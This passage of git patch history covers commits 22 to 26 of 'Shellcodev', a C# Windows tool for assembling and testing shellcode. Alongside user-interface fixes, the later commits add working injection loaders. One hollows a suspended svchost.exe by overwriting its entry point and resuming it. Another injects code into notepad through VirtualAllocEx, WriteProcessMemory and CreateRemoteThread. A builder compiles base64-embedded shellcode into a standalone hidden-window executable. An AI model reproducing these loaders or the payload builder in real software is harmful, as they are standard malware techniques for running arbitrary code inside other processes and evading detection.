byteArray.Length - 1) + shellTxt.Text += "0x" + byteArray[i]; + else + shellTxt.Text += "0x" + byteArray[i] + " ,"; + } } private void CFormat(string bytes) diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 6c93c51..ca9294d 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -15,6 +15,10 @@ public static Main ReturnInstance() } //TODO: Show registers value at runtime + // Repair string snippet for short strings (string < 4 chars showing error: InvalidState) + // String snippet: Build the stack vice versa + // Repair gridview index lenght, 2 digit number looks like 1 digit number + // After applying changes select the last row // https://github.com/asmjit/asmjit/issues/27 public Main() From 8d01623fa36dbf6eaf12a922d5c646dd06c298ae Mon Sep 17 00:00:00 2001 From: XaFF Date: Mon, 18 Oct 2021 21:29:05 +0200 Subject: [PATCH 22/64] Repaired short string snippet bug and stack is now built vice versa --- Shellcodev/Core/Instruction.cs | 103 ++++++++++++++++++++++----------- Shellcodev/Forms/Main.cs | 7 ++- 2 files changed, 72 insertions(+), 38 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index a5bdde3..be6bcc2 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -55,7 +55,7 @@ private string EncodeValues(string instructionPart, bool small) string hexResult = res.ToString("X"); bitwise = true; - return "0x" + hexResult; + return "xor" + "0x" + hexResult; } else temp1 = null; @@ -96,49 +96,69 @@ public string[] StringAssembler(string instruction) public class Instruction { - public string instruction; public string register; private static int rowId = 1; //Rewrite. Add support for XORed values and make stack vice versa public Instruction(string instruction) { - string[] arrBytes = null; - bool arr = false; var converter = new InstructionConverter(); + var handler = new AssemblyHandler(); + var main = Forms.Main.ReturnInstance(); - string register = instruction.Substring(3, 4); - this.register = register; + //Extract register from command + string[] bytes = null; + bool array = false; - if (instruction.Contains("\"")) + //Check if instruction contains double qoutes, if yes execute StringAssembler + this.register = instruction.Substring(3, 4); + + if(instruction.Contains("\"")) { - arrBytes = converter.StringAssembler(instruction); - arr = true; + bytes = converter.StringAssembler(instruction); + array = true; } - this.instruction = instruction; - - AssemblyHandler handler = new AssemblyHandler(); - Forms.Main main = Forms.Main.ReturnInstance(); - - if (arr == true) + int counter = 1; + if(array) { - string lastValue = arrBytes.Last(); - foreach (string bt in arrBytes) + string lastValue = bytes.Last(); + + for (int i = bytes.Length - 1; i >= 0; i--) { int rows = main.instructionGrid.Rows.Add(rowId); DataGridViewRow row = main.instructionGrid.Rows[rows]; - row.Cells["Instruction"].Value = "push " + bt; - row.HeaderCell.Value = (row.Index + 1).ToString(); + if (bytes[i].StartsWith("xor")) + { + row.Cells["Instruction"].Value = "mov " + register + ", " + bytes[i].Substring(3); + row.HeaderCell.Value = (row.Index + counter++).ToString(); + + int _rows = main.instructionGrid.Rows.Add(rowId); + DataGridViewRow _row = main.instructionGrid.Rows[_rows]; + + _row.Cells["Instruction"].Value = "xor " + register + ", 0x11111111"; + _row.HeaderCell.Value = (row.Index + counter++).ToString(); + + _rows = main.instructionGrid.Rows.Add(rowId); + _row = main.instructionGrid.Rows[_rows]; + + _row.Cells["Instruction"].Value = "push " + register; + _row.HeaderCell.Value = (row.Index + counter++).ToString(); + } + else + { + row.Cells["Instruction"].Value = "push " + bytes[i]; + row.HeaderCell.Value = (row.Index + 2).ToString(); + } - if(lastValue == bt) + if(lastValue == bytes[i]) { - int rows1 = main.instructionGrid.Rows.Add(rowId); - DataGridViewRow row1 = main.instructionGrid.Rows[rows1]; + int _rows = main.instructionGrid.Rows.Add(rowId); + DataGridViewRow _row = main.instructionGrid.Rows[_rows]; - row1.Cells["Instruction"].Value = "mov " + register + ", esp"; - row1.HeaderCell.Value = (row.Index + 2).ToString(); + _row.Cells["Instruction"].Value = "mov " + register + ", esp"; + _row.HeaderCell.Value = (row.Index + counter++).ToString(); } } } @@ -151,24 +171,37 @@ public Instruction(string instruction) row.HeaderCell.Value = (row.Index + 1).ToString(); } - string bytes = null; - if(arr == true) + string tempBytes = null; + if (array) { - foreach(string bt in arrBytes) + for (int i = bytes.Length - 1; i >= 0; i--) { - bytes = handler.Assembler("push " + bt); - ByteAppender(main, bytes); + if (bytes[i].StartsWith("xor")) + { + tempBytes = handler.Assembler("mov " + register + ", " + bytes[i].Substring(3)); + ByteAppender(main, tempBytes); + + tempBytes = handler.Assembler("xor " + register + ", 0x11111111"); + ByteAppender(main, tempBytes); + + tempBytes = handler.Assembler("push " + register); + ByteAppender(main, tempBytes); + } + else + { + tempBytes = handler.Assembler("push " + bytes[i]); + ByteAppender(main, tempBytes); + } } - //Append pointer - bytes = handler.Assembler("mov " + register + ", esp"); - ByteAppender(main, bytes); + tempBytes = handler.Assembler("mov " + register + ", esp"); + ByteAppender(main, tempBytes); } else { - bytes = handler.Assembler(instruction); - ByteAppender(main, bytes); - } + tempBytes = handler.Assembler(instruction); + ByteAppender(main, tempBytes); + } } private void ByteAppender(Forms.Main main, string bytes) diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index ca9294d..6a3a4d4 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -15,8 +15,6 @@ public static Main ReturnInstance() } //TODO: Show registers value at runtime - // Repair string snippet for short strings (string < 4 chars showing error: InvalidState) - // String snippet: Build the stack vice versa // Repair gridview index lenght, 2 digit number looks like 1 digit number // After applying changes select the last row // https://github.com/asmjit/asmjit/issues/27 @@ -118,7 +116,10 @@ private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArg var rowValue = row.Cells[0].Value; if (rowValue == null) //Remove row from grid { - instructionGrid.Rows.Remove(row); + try //Editing empty row and setting it to null + { instructionGrid.Rows.Remove(row); } + catch (Exception) + { return; } //Resort indexes for(int i = editedRow; i < instructionGrid.Rows.Count; i++) From dd57a0720f4ed7e3bebf05b2a23518f07d435b10 Mon Sep 17 00:00:00 2001 From: XaFF Date: Tue, 19 Oct 2021 15:33:01 +0200 Subject: [PATCH 23/64] Bug fix (mov [register], esp) in wrong place --- Shellcodev/Core/Instruction.cs | 13 +++++-------- 1 file changed, 5 insertions(+), 8 deletions(-) diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index be6bcc2..6463498 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -151,16 +151,13 @@ public Instruction(string instruction) row.Cells["Instruction"].Value = "push " + bytes[i]; row.HeaderCell.Value = (row.Index + 2).ToString(); } + } - if(lastValue == bytes[i]) - { - int _rows = main.instructionGrid.Rows.Add(rowId); - DataGridViewRow _row = main.instructionGrid.Rows[_rows]; + int _rows1 = main.instructionGrid.Rows.Add(rowId); + DataGridViewRow _row1 = main.instructionGrid.Rows[_rows1]; - _row.Cells["Instruction"].Value = "mov " + register + ", esp"; - _row.HeaderCell.Value = (row.Index + counter++).ToString(); - } - } + _row1.Cells["Instruction"].Value = "mov " + register + ", esp"; + _row1.HeaderCell.Value = (_row1.Index + counter++).ToString(); } else { From c89b1bb0ab5459db61b7b5e4b46ea83604cf6285 Mon Sep 17 00:00:00 2001 From: XaFF Date: Wed, 20 Oct 2021 16:05:26 +0200 Subject: [PATCH 24/64] Added shellcode tester --- InstructionHandler/InstructionHandler.vcxproj | 7 +++-- Shellcodev/Core/AssemblyHandler.cs | 30 ++++++++++++++++++- Shellcodev/Forms/Generator.cs | 2 +- Shellcodev/Forms/Main.Designer.cs | 15 +++++----- Shellcodev/Forms/Main.cs | 21 +++++++++++++ Shellcodev/Forms/Main.resx | 3 -- 6 files changed, 64 insertions(+), 14 deletions(-) diff --git a/InstructionHandler/InstructionHandler.vcxproj b/InstructionHandler/InstructionHandler.vcxproj index 3622eda..cc63bc4 100644 --- a/InstructionHandler/InstructionHandler.vcxproj +++ b/InstructionHandler/InstructionHandler.vcxproj @@ -29,7 +29,7 @@ DynamicLibrary true - v143 + v142 Unicode @@ -73,7 +73,8 @@ true C:\Users\XaFF\source\repos\asmtk\src;C:\Users\XaFF\source\repos\asmjit\src;$(IncludePath) - instrhandle + instrHandler_x86 + $(SolutionDir)Shellcodev\bin\Debug\ false @@ -94,6 +95,8 @@ NotUsing pch.h MultiThreadedDebug + true + Disabled Windows diff --git a/Shellcodev/Core/AssemblyHandler.cs b/Shellcodev/Core/AssemblyHandler.cs index 9296c7e..d59fa49 100644 --- a/Shellcodev/Core/AssemblyHandler.cs +++ b/Shellcodev/Core/AssemblyHandler.cs @@ -5,7 +5,7 @@ namespace Shellcodev { class API { - [DllImport("instrhandle.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] + [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr AssembleInstructions(string instruction); [DllImport("kernel32.dll")] @@ -13,6 +13,22 @@ class API [DllImport("kernel32.dll")] public static extern IntPtr LoadLibrary(string name); + + [DllImport("kernel32")] + public static extern IntPtr VirtualAlloc( + IntPtr lpAddress, uint dwSize, + uint flAllocationType, uint flProtect); + + [DllImport("kernel32", CharSet = CharSet.Ansi)] + public static extern IntPtr CreateThread( + IntPtr lpThreadAttributes, uint dwStackSize, + IntPtr lpStartAddress, IntPtr lpParameter, + uint dwCreationFlags, IntPtr lpThreadId); + + [DllImport("kernel32.dll")] + public static extern uint WaitForSingleObject( + IntPtr hHandle, + uint dwMilliseconds); } public class AssemblyHandler @@ -36,4 +52,16 @@ public string Assembler(string instructions) return temp; } } + + public class ShellcodeLoader + { + public ShellcodeLoader(byte[] bytes) + { + IntPtr pointer = API.VirtualAlloc(IntPtr.Zero, (uint)bytes.Length, 0x1000, 0x40); + Marshal.Copy(bytes, 0, pointer, bytes.Length); + + IntPtr hThread = API.CreateThread(IntPtr.Zero, 0, pointer, IntPtr.Zero, 0, IntPtr.Zero); + API.WaitForSingleObject(hThread, 0xFFFFFFFF); + } + } } diff --git a/Shellcodev/Forms/Generator.cs b/Shellcodev/Forms/Generator.cs index fc98851..32d49a4 100644 --- a/Shellcodev/Forms/Generator.cs +++ b/Shellcodev/Forms/Generator.cs @@ -25,7 +25,7 @@ private void CSFormat(string bytes) for(int i = 0; i < byteArray.Length; i++) { - if(i == byteArray.Length - 1) + if (i == byteArray.Length - 1) shellTxt.Text += "0x" + byteArray[i]; else shellTxt.Text += "0x" + byteArray[i] + " ,"; diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index b206cc9..6d3c577 100644 --- a/Shellcodev/Forms/Main.Designer.cs +++ b/Shellcodev/Forms/Main.Designer.cs @@ -29,6 +29,7 @@ protected override void Dispose(bool disposing) private void InitializeComponent() { this.instructionGrid = new System.Windows.Forms.DataGridView(); + this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.instructionTxt = new System.Windows.Forms.TextBox(); this.addInstructionBtn = new System.Windows.Forms.Button(); this.bytesBox = new System.Windows.Forms.RichTextBox(); @@ -40,7 +41,6 @@ private void InitializeComponent() this.label4 = new System.Windows.Forms.Label(); this.richTextBox1 = new System.Windows.Forms.RichTextBox(); this.label5 = new System.Windows.Forms.Label(); - this.Instruction = new System.Windows.Forms.DataGridViewTextBoxColumn(); this.testerBldBtn = new System.Windows.Forms.Button(); this.shlcTestBtn = new System.Windows.Forms.Button(); this.dllAddrBox = new System.Windows.Forms.TextBox(); @@ -67,6 +67,12 @@ private void InitializeComponent() this.instructionGrid.CellEndEdit += new System.Windows.Forms.DataGridViewCellEventHandler(this.instructionGrid_CellEndEdit); this.instructionGrid.SelectionChanged += new System.EventHandler(this.instructionGrid_SelectionChanged); // + // Instruction + // + this.Instruction.HeaderText = "Instruction"; + this.Instruction.Name = "Instruction"; + this.Instruction.Width = 328; + // // instructionTxt // this.instructionTxt.Location = new System.Drawing.Point(35, 566); @@ -171,12 +177,6 @@ private void InitializeComponent() this.label5.TabIndex = 5; this.label5.Text = "Indexes"; // - // Instruction - // - this.Instruction.HeaderText = "Instruction"; - this.Instruction.Name = "Instruction"; - this.Instruction.Width = 328; - // // testerBldBtn // this.testerBldBtn.Location = new System.Drawing.Point(445, 564); @@ -194,6 +194,7 @@ private void InitializeComponent() this.shlcTestBtn.TabIndex = 2; this.shlcTestBtn.Text = "Test shellcode"; this.shlcTestBtn.UseVisualStyleBackColor = true; + this.shlcTestBtn.Click += new System.EventHandler(this.shlcTestBtn_Click); // // dllAddrBox // diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 6a3a4d4..6a75ec7 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -164,5 +164,26 @@ private void csRBtn_CheckedChanged(object sender, EventArgs e) cRBtn.Checked = false; } #endregion + + private void shlcTestBtn_Click(object sender, EventArgs e) + { + string text = bytesBox.Text; + string[] byteArray = text.Split(new char[] { ' ', '\n' }, StringSplitOptions.RemoveEmptyEntries); + + string temp = null; + for (int i = 0; i < byteArray.Length; i++) + { + if (i == byteArray.Length - 1) + temp += "0x" + byteArray[i]; + else + temp += "0x" + byteArray[i] + ", "; + } + + byte[] converted = temp.Split(new[] { ", " }, StringSplitOptions.None) + .Select(str => Convert.ToByte(str, 16)) + .ToArray(); + + new ShellcodeLoader(converted); + } } } \ No newline at end of file diff --git a/Shellcodev/Forms/Main.resx b/Shellcodev/Forms/Main.resx index eb8d8bf..888969e 100644 --- a/Shellcodev/Forms/Main.resx +++ b/Shellcodev/Forms/Main.resx @@ -120,7 +120,4 @@ True - - True - \ No newline at end of file From 7109a4a853d1f46035a3eb89b7401bf87830b141 Mon Sep 17 00:00:00 2001 From: XaFF Date: Wed, 20 Oct 2021 19:01:32 +0200 Subject: [PATCH 25/64] Shellcode tester on different process initial commit --- Shellcodev/Core/AssemblyHandler.cs | 108 ++++++++++++++++++++++++----- Shellcodev/Core/Instruction.cs | 4 +- Shellcodev/Forms/Main.cs | 4 ++ 3 files changed, 98 insertions(+), 18 deletions(-) diff --git a/Shellcodev/Core/AssemblyHandler.cs b/Shellcodev/Core/AssemblyHandler.cs index d59fa49..a4cb15b 100644 --- a/Shellcodev/Core/AssemblyHandler.cs +++ b/Shellcodev/Core/AssemblyHandler.cs @@ -3,6 +3,51 @@ namespace Shellcodev { + [StructLayout(LayoutKind.Sequential)] + public struct PROCESS_INFORMATION + { + public IntPtr hProcess; + public IntPtr hThread; + public int dwProcessId; + public int dwThreadId; + } + [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] + public struct STARTUPINFO + { + public Int32 cb; + public string lpReserved; + public string lpDesktop; + public string lpTitle; + public Int32 dwX; + public Int32 dwY; + public Int32 dwXSize; + public Int32 dwYSize; + public Int32 dwXCountChars; + public Int32 dwYCountChars; + public Int32 dwFillAttribute; + public Int32 dwFlags; + public Int16 wShowWindow; + public Int16 cbReserved2; + public IntPtr lpReserved2; + public IntPtr hStdInput; + public IntPtr hStdOutput; + public IntPtr hStdError; + } + public struct PROCESS_BASIC_INFORMATION + { + public IntPtr ExitStatus; + public IntPtr PebAddress; + public IntPtr AffinityMask; + public IntPtr BasePriority; + public IntPtr UniquePID; + public IntPtr InheritedFromUniqueProcessId; + } + public enum ProcessCreationFlags : UInt32 + { + CREATE_NO_WINDOW = 0x08000000, + CREATE_SUSPENDED = 0x00000004, + DETACHED_PROCESS = 0x00000008 + } class API { [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] @@ -14,21 +59,20 @@ class API [DllImport("kernel32.dll")] public static extern IntPtr LoadLibrary(string name); - [DllImport("kernel32")] - public static extern IntPtr VirtualAlloc( - IntPtr lpAddress, uint dwSize, - uint flAllocationType, uint flProtect); + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] + public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + + [DllImport("ntdll.dll", SetLastError = true)] + public static extern UInt32 ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen); - [DllImport("kernel32", CharSet = CharSet.Ansi)] - public static extern IntPtr CreateThread( - IntPtr lpThreadAttributes, uint dwStackSize, - IntPtr lpStartAddress, IntPtr lpParameter, - uint dwCreationFlags, IntPtr lpThreadId); + [DllImport("kernel32.dll", SetLastError = true)] + public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); [DllImport("kernel32.dll")] - public static extern uint WaitForSingleObject( - IntPtr hHandle, - uint dwMilliseconds); + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); + + [DllImport("kernel32.dll", SetLastError = true)] + public static extern uint ResumeThread(IntPtr hThread); } public class AssemblyHandler @@ -55,13 +99,43 @@ public string Assembler(string instructions) public class ShellcodeLoader { - public ShellcodeLoader(byte[] bytes) + public ShellcodeLoader(byte[] shellcode) { - IntPtr pointer = API.VirtualAlloc(IntPtr.Zero, (uint)bytes.Length, 0x1000, 0x40); - Marshal.Copy(bytes, 0, pointer, bytes.Length); + // Create a new process in a suspended state + STARTUPINFO lpStartupInfo = new STARTUPINFO(); + PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION(); + API.CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation); + + // locate the PEB inside the process + PROCESS_BASIC_INFORMATION procInformation = new PROCESS_BASIC_INFORMATION(); + uint tmp = 0; + IntPtr hProcess = lpProcessInformation.hProcess; + API.ZwQueryInformationProcess(hProcess, 0x0, ref procInformation, (uint)(IntPtr.Size * 6), ref tmp); + + // locate the image base - PEB + 0x10 + IntPtr ptrToImageBase = (IntPtr)((Int64)procInformation.PebAddress + 0x10); + + // read the process memory + byte[] addrBuf = new byte[IntPtr.Size]; + IntPtr nRead = IntPtr.Zero; + API.ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); + + // locate svchost base, converted to a 64-bit integer then cast to an IntPtr + IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); + + // read the memory location to get the entry point from the PE header + byte[] data = new byte[0x200]; + //byte[] data = new byte[49696]; + API.ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); + + uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C); + uint opthdr = e_lfanew_offset + 0x28; + uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); + IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); + + API.WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nRead); - IntPtr hThread = API.CreateThread(IntPtr.Zero, 0, pointer, IntPtr.Zero, 0, IntPtr.Zero); - API.WaitForSingleObject(hThread, 0xFFFFFFFF); + API.ResumeThread(lpProcessInformation.hThread); } } } diff --git a/Shellcodev/Core/Instruction.cs b/Shellcodev/Core/Instruction.cs index 6463498..8d9e0b3 100644 --- a/Shellcodev/Core/Instruction.cs +++ b/Shellcodev/Core/Instruction.cs @@ -111,7 +111,9 @@ public Instruction(string instruction) bool array = false; //Check if instruction contains double qoutes, if yes execute StringAssembler - this.register = instruction.Substring(3, 4); + try { this.register = instruction.Substring(3, 4); } + catch(Exception) + { } if(instruction.Contains("\"")) { diff --git a/Shellcodev/Forms/Main.cs b/Shellcodev/Forms/Main.cs index 6a75ec7..dd415db 100644 --- a/Shellcodev/Forms/Main.cs +++ b/Shellcodev/Forms/Main.cs @@ -1,6 +1,7 @@ using System; using System.Drawing; using System.Linq; +using System.Threading; using System.Windows.Forms; namespace Shellcodev.Forms @@ -104,6 +105,9 @@ private void instructionGrid_SelectionChanged(object sender, EventArgs e) bytesBox.SelectionColor = Color.Blue; } } + + int lastRow = instructionGrid.Rows.Count - 1; + instructionGrid.Rows[lastRow].Cells["Instruction"].Selected = true; } private void instructionGrid_CellEndEdit(object sender, DataGridViewCellEventArgs e) From 83ccecd13f79f642a1622ca85fd8da16b69b060d Mon Sep 17 00:00:00 2001 From: XaFF Date: Tue, 2 Nov 2021 11:57:01 +0100 Subject: [PATCH 26/64] Added shellcode tester builder and fixed shellcode test function. Now process injection is used to test shellcode. --- Shellcodev/Core/AssemblyHandler.cs | 106 ++++---------------- Shellcodev/Core/Builder.cs | 89 ++++++++++++++++ Shellcodev/Forms/Main.Designer.cs | 1 + Shellcodev/Forms/Main.cs | 25 ++++- Shellcodev/Properties/Resources.Designer.cs | 68 ++++++++----- Shellcodev/Properties/Resources.resx | 61 ++++++++++- Shellcodev/Shellcodev.csproj | 2 + 7 files changed, 232 insertions(+), 120 deletions(-) create mode 100644 Shellcodev/Core/Builder.cs diff --git a/Shellcodev/Core/AssemblyHandler.cs b/Shellcodev/Core/AssemblyHandler.cs index a4cb15b..959afe1 100644 --- a/Shellcodev/Core/AssemblyHandler.cs +++ b/Shellcodev/Core/AssemblyHandler.cs @@ -1,78 +1,34 @@ using System; +using System.Diagnostics; using System.Runtime.InteropServices; namespace Shellcodev { - [StructLayout(LayoutKind.Sequential)] - public struct PROCESS_INFORMATION - { - public IntPtr hProcess; - public IntPtr hThread; - public int dwProcessId; - public int dwThreadId; - } - [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] - public struct STARTUPINFO - { - public Int32 cb; - public string lpReserved; - public string lpDesktop; - public string lpTitle; - public Int32 dwX; - public Int32 dwY; - public Int32 dwXSize; - public Int32 dwYSize; - public Int32 dwXCountChars; - public Int32 dwYCountChars; - public Int32 dwFillAttribute; - public Int32 dwFlags; - public Int16 wShowWindow; - public Int16 cbReserved2; - public IntPtr lpReserved2; - public IntPtr hStdInput; - public IntPtr hStdOutput; - public IntPtr hStdError; - } - public struct PROCESS_BASIC_INFORMATION - { - public IntPtr ExitStatus; - public IntPtr PebAddress; - public IntPtr AffinityMask; - public IntPtr BasePriority; - public IntPtr UniquePID; - public IntPtr InheritedFromUniqueProcessId; - } - public enum ProcessCreationFlags : UInt32 - { - CREATE_NO_WINDOW = 0x08000000, - CREATE_SUSPENDED = 0x00000004, - DETACHED_PROCESS = 0x00000008 - } class API { [DllImport("instrHandler_x86.dll", CharSet = CharSet.Ansi, CallingConvention = CallingConvention.Cdecl)] public static extern IntPtr AssembleInstructions(string instruction); [DllImport("kernel32.dll")] - public static extern IntPtr GetProcAddress(IntPtr hModule, string procname); + public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32.dll")] - public static extern IntPtr LoadLibrary(string name); + public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId); + + [DllImport("kernel32.dll", CharSet = CharSet.Auto)] + public static extern IntPtr GetModuleHandle(string lpModuleName); - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Ansi)] - public static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, ProcessCreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] + public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); - [DllImport("ntdll.dll", SetLastError = true)] - public static extern UInt32 ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass, ref PROCESS_BASIC_INFORMATION procInformation, UInt32 ProcInfoLen, ref UInt32 retlen); + [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] + public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll", SetLastError = true)] - public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out IntPtr lpNumberOfBytesRead); + public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten); [DllImport("kernel32.dll")] - public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); - - [DllImport("kernel32.dll", SetLastError = true)] - public static extern uint ResumeThread(IntPtr hThread); + public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); } public class AssemblyHandler @@ -101,41 +57,15 @@ public class ShellcodeLoader { public ShellcodeLoader(byte[] shellcode) { - // Create a new process in a suspended state - STARTUPINFO lpStartupInfo = new STARTUPINFO(); - PROCESS_INFORMATION lpProcessInformation = new PROCESS_INFORMATION(); - API.CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, ProcessCreationFlags.CREATE_SUSPENDED | ProcessCreationFlags.CREATE_NO_WINDOW, IntPtr.Zero, null, ref lpStartupInfo, out lpProcessInformation); - - // locate the PEB inside the process - PROCESS_BASIC_INFORMATION procInformation = new PROCESS_BASIC_INFORMATION(); - uint tmp = 0; - IntPtr hProcess = lpProcessInformation.hProcess; - API.ZwQueryInformationProcess(hProcess, 0x0, ref procInformation, (uint)(IntPtr.Size * 6), ref tmp); - - // locate the image base - PEB + 0x10 - IntPtr ptrToImageBase = (IntPtr)((Int64)procInformation.PebAddress + 0x10); - - // read the process memory - byte[] addrBuf = new byte[IntPtr.Size]; - IntPtr nRead = IntPtr.Zero; - API.ReadProcessMemory(hProcess, ptrToImageBase, addrBuf, addrBuf.Length, out nRead); - - // locate svchost base, converted to a 64-bit integer then cast to an IntPtr - IntPtr svchostBase = (IntPtr)(BitConverter.ToInt64(addrBuf, 0)); - - // read the memory location to get the entry point from the PE header - byte[] data = new byte[0x200]; - //byte[] data = new byte[49696]; - API.ReadProcessMemory(hProcess, svchostBase, data, data.Length, out nRead); + int pid = Process.Start("notepad.exe").Id; + IntPtr pHandle = API.OpenProcess(0x1F0FFF, false, pid); - uint e_lfanew_offset = BitConverter.ToUInt32(data, 0x3C); - uint opthdr = e_lfanew_offset + 0x28; - uint entrypoint_rva = BitConverter.ToUInt32(data, (int)opthdr); - IntPtr addressOfEntryPoint = (IntPtr)(entrypoint_rva + (UInt64)svchostBase); + IntPtr memAlloc = API.VirtualAllocEx(pHandle, IntPtr.Zero, (uint)shellcode.Length, 0x00001000, 0x40); - API.WriteProcessMemory(hProcess, addressOfEntryPoint, shellcode, shellcode.Length, out nRead); + UIntPtr bytesWritten; + API.WriteProcessMemory(pHandle, memAlloc, shellcode, (uint)shellcode.Length, out bytesWritten); - API.ResumeThread(lpProcessInformation.hThread); + API.CreateRemoteThread(pHandle, IntPtr.Zero, 0, memAlloc, IntPtr.Zero, 0, IntPtr.Zero); } } } diff --git a/Shellcodev/Core/Builder.cs b/Shellcodev/Core/Builder.cs new file mode 100644 index 0000000..2242b05 --- /dev/null +++ b/Shellcodev/Core/Builder.cs @@ -0,0 +1,89 @@ +using Microsoft.CSharp; +using System; +using System.CodeDom.Compiler; +using System.Diagnostics; +using System.IO; +using System.Windows.Forms; + +namespace Shellcodev.Core +{ + class Builder + { + private CompilerResults Generator(string stub, string payload, string path) + { + var references = new[] { "System.dll","System.Runtime.InteropServices.dll" }; + + CompilerParameters parameters = new CompilerParameters(references, path); + parameters.GenerateExecutable = true; + parameters.CompilerOptions = "/optimize- /platform:x86 /unsafe /target:winexe"; + parameters.OutputAssembly = path; + + stub = stub.Replace("[PAYLOAD]", payload); + + using (var provider = new CSharpCodeProvider()) + return provider.CompileAssemblyFromSource(parameters, stub); + } + + public void Build(byte[] shellcode) + { + string payload = Convert.ToBase64String(shellcode); + string stub = Properties.Resources.stub; + string path = null; + + using (SaveFileDialog saveFileDialog = new SaveFileDialog()) + { + saveFileDialog.Filter = "Executable files | *.exe"; + bool flag = saveFileDialog.ShowDialog() == DialogResult.OK; + + if (flag) + path = saveFileDialog.FileName; + else + return; + } + + CompilerResults results = Generator(stub, payload, path); + + if(results.Errors.Count == 0) + { + MessageBox.Show("File build succeeded", "Shellcodev", MessageBoxButtons.OK); + } + else + { + string currentTime = DateTime.Now.ToString("hh-mm-ss"); + string logPath = ErrorHandler(currentTime, results); + + var dialogResult = MessageBox.Show("File build failed. Would you like to check log file?", "Shellcodev", MessageBoxButtons.YesNo); + switch(dialogResult) + { + case DialogResult.Yes: + Process.Start("notepad.exe", logPath); + break; + default: + return; + } + } + } + + private string ErrorHandler(string currentTime, CompilerResults results) + { + string logDir = "shld_logs"; + string logPath = logDir + "\\" + "build-" + currentTime + ".log"; + + if (!Directory.Exists(logDir)) + Directory.CreateDirectory(logDir); + + File.Create(logPath).Close(); + StreamWriter file = new StreamWriter(logPath); + + foreach(CompilerError error in results.Errors) + { + Console.WriteLine(error.ErrorText); + file.WriteLine(error.ErrorText); + } + file.Flush(); + file.Close(); + + return logPath; + } + } +} diff --git a/Shellcodev/Forms/Main.Designer.cs b/Shellcodev/Forms/Main.Designer.cs index 6d3c577..a42cb80 100644 --- 